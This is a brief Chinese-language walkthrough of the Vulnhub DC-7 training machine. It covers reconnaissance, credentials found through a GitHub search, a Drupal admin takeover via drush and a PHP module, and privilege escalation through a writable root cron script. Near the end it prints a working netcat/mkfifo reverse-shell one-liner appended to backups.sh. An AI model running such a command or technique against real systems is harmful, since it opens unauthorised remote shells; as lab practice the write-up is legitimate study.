Vulnhub靶机DC-7通关笔记
¶前言
下载地址：https://www.vulnhub.com/entry/dc-7,356/
¶开始
nmap扫描
开放了80和22
各种扫描 Nday都试过了没用
看了wp提示 关键在@DC7USER上
搜到了他的github
看来这是要结合社工的
在config.php得到密码
试一试用ssh登陆
登陆上了
mbox的内容
好像是自动备份
drush引起了我的注意
https://blog.csdn.net/qq_15936309/article/details/86590353
修改了admin的密码
进入后台
没有php插件是无法执行php代码的
安装一个php插件
连上蚁剑
backup.sh的权限是root 但是www-data用户可以修改他
并且backup.sh已经加入了计划任务
可以修改backup.sh得到反弹shell
没执行
可能是目录权限问题
换一个
echo "mkfifo /tmp/iwxe; nc 192.168.3.55 6666 0</tmp/iwxe | /bin/sh >/tmp/iwxe 2>&1; rm /tmp/iwxe">>backups.sh
收到
¶总结
这个靶机还挺难的 没有想到要社工才有下一步的线索 drupal的后台getshell技巧又+1